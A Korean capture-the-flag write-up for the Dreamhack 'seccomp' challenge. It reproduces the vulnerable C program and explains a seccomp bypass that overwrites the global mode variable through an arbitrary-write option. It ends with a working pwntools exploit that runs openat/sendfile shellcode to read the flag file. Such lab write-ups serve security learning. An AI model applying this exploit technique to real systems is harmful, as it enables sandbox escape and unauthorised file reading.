문제 파일이다.
// gcc -o seccomp seccomp.cq
// 64-bit, canary, nx, partial relro
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <stddef.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
#include <linux/unistd.h>
#include <linux/audit.h>
#include <sys/mman.h>
int mode = SECCOMP_MODE_STRICT;
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int syscall_filter() {
#define syscall_nr (offsetof(struct seccomp_data, nr))
#define arch_nr (offsetof(struct seccomp_data, arch))
/* architecture x86_64 */
#define REG_SYSCALL REG_RAX
#define ARCH_NR AUDIT_ARCH_X86_64
struct sock_filter filter[] = {
/* Validate architecture. */
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, arch_nr),
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ARCH_NR, 1, 0),
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL),
/* Get system call number. */
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, syscall_nr),
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
.filter = filter,
};
if ( prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1 ) {
perror("prctl(PR_SET_NO_NEW_PRIVS)\n");
return -1;
}
if ( prctl(PR_SET_SECCOMP, mode, &prog) == -1 ) {
perror("Seccomp filter error\n");
return -1;
}
return 0;
}
int main(int argc, char* argv[])
{
void (*sc)();
unsigned char *shellcode;
int cnt = 0;
int idx;
long addr;
long value;
initialize();
shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
while(1) {
printf("1. Read shellcode\n");
printf("2. Execute shellcode\n");
printf("3. Write address\n");
printf("> ");
scanf("%d", &idx);
switch(idx) {
case 1:
if(cnt != 0) {
exit(0);
}
syscall_filter();
printf("shellcode: ");
read(0, shellcode, 1024);
cnt++;
break;
case 2:
sc = (void *)shellcode;
sc();
break;
case 3:
printf("addr: ");
scanf("%ld", &addr);
printf("value: ");
scanf("%ld", addr);
break;
default:
break;
}
}
return 0;
}
자세히 살펴보았다.
int mode = SECCOMP_MODE_STRICT;
STRICT 모드이기 때문에 wrtie, read, exit, sigreturn만 쓸 수 있다.
/* Valid values for seccomp.mode and prctl(PR_SET_SECCOMP, <mode>) */
#define SECCOMP_MODE_DISABLED 0 /* seccomp is not in use. */
#define SECCOMP_MODE_STRICT 1 /* uses hard-coded filter. */
#define SECCOMP_MODE_FILTER 2 /* uses user-supplied filter. */
코드에서 mode를 0으로 바꾸면 seccomp가 사용되지 않아 조작이 용이할 것 같다.
해당 아이디어를 바탕으로 익스플로잇 코드를 작성했다.
from pwn import *
p = remote("host3.dreamhack.games", 서버번호)
e = ELF("./seccomp")
context.arch = "x86_64"
def case1(shellcode):
p.sendlineafter(b"> ", b"1")
p.sendafter(b": ", asm(shellcode))
def case2(): p.sendlineafter(b"> ", b"2")
def case3(addr, value):
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b": ", str(addr))
p.sendlineafter(b": ", str(value))
shellcode = shellcraft.openat(0, "/home/seccomp/flag")
shellcode += shellcraft.sendfile(1, 'rax', 0, 100)
case3(e.sym['mode'], 0)
case1(shellcode)
case2()
p.interactive()
실행해 보았다.
무사히 FLAG를 얻을 수 있었다.
Stage 2 완료~~~